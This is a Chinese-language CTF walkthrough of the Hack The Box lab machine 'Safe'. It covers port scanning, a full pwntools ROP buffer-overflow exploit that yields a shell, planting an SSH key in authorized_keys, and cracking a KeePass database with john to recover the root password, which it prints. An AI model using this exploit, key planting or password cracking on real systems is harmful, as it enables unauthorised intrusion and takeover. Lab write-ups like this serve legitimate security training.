HTB-靶机-Safe
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.147
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.147 -o ./Safe-autorecon
也可以使用官方的方法进行快速的扫描
masscan -p1-65535 10.10.10.147 --rate=1000 -e tun0 > ports ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//') nmap -Pn -sV -sC -p$ports 10.10.10.147 或者 nmap -p- --min-rate 10000 -oA scans/nmap_alltcp 10.10.10.147 nmap -sV -sC -p 21,22,80,3000,8000 -oA scans/nmap_tcpscripts 10.10.10.147
扫描看到开放了3个端口,22,80,1337,首先使用curl访问一把80端口,发现一重要信息
提示有个文件可以下载下来分析,文件名称为myapp,并且此文件可能就是运行在目标靶机上去,并且监听1337端口,我先把此文件下载下来
开始分析此二进制文件,详细查看这篇文章把,https://0xdf.gitlab.io/2019/10/26/htb-safe.html 下面是exploit代码
from pwn import * e = ELF("/home/kali/Downloads/htb/safe/myapp") p = remote("10.10.10.147",1337) payload = "A"*(120) payload += p64(0x000000000040120b) #pop rdi; ret payload += p64(0x404050) #writable address payload += p64(0x401060) #gets@PLT payload += p64(0x000000000040120b) #pop rdi; ret payload += p64(0x404050) #writable address payload += p64(0x401040) #system@PLT payload += "\x90" *50 print p.read print p.read print "Invio Payload" p.write(payload+"\n") p.write("/bin/bash\n") print p.read() p.interactive()
执行exploit成功拿到低权限shell
首先写入一个公钥
写个kali的公钥进去,通过私钥远程登录 echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfjdrW5okibmnT9c3hsAoSZPJ0XcCN92f998ZkCcWehEHXTmpkGJE7qedYSbr78pQITNnIXpVEJXlKYaTQUf68JUKCiBWwLQes3SfHN6SoRe4hiC4LtgtXiUmRIYYY//PXEdgbH7dFvX67fA8p/6Mz/R6ITS4OvHDQCLNwV8wmu46pS4xEq9/Rsp3nc6OjHVWAvnwnBmNTjUWEGuKH5Vvqw5yM0/PV5SeeyaB0R5jm4M7YL1/h8RRVvInt5M20/FaR5wWL4pEeGXsqKPjZUtdCfgPkZwF/4Oi6aOYSKGVmQrnbsetG5F2//IuUTBEkgQp4HevL1hNw3iAH+PNh/iHlVhafeYw9rZ/G9G97vGCsTy7UVYRk55nJQuHTRhZOkt8jAqfBgjLwP/Gn6wXIGWFmSLaKO//jJuSYYVXGIu9vjTGSLEUQtSQKrf+vL94jtGDRYArDnqFvJopj3HJK39B8O2PhVhQ0bh+YbQNWPoHsc5O7UH/6LcREUnppzSKf2yE= kali@kali' > authorized_keys
通过私钥ssh登录到目标靶机上,登录成功之后直接进入到用户user的家目录,发现当前目录下有很多图片和加密的keepass文件,通过scp拷贝到本地kali
使用命令keepass2john命令将其转换为能够被john识别的hash,然后使用john进行破解
keepass2john MyPasswords.kdbx > MyPasswords.kdbx.john; for img in $(ls IMG*); do keepass2john -k $img MyPasswords.kdbx; done >> MyPasswords.kdbx.john
开始破解hash
john MyPasswords.kdbx.john /usr/share/seclists/Passwords/Leaked-Databases/rockyou-30.txt
破解出来的登录keepass的登录密码,使用命令行工具kpcli登录keepass读取root账号的密码
bullshit
使用sudo apt-get install kpcli 安装工具kpcli
成功拿到root密码直接su切换至root用户
迷茫的人生,需要不断努力,才能看清远方模糊的志向!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?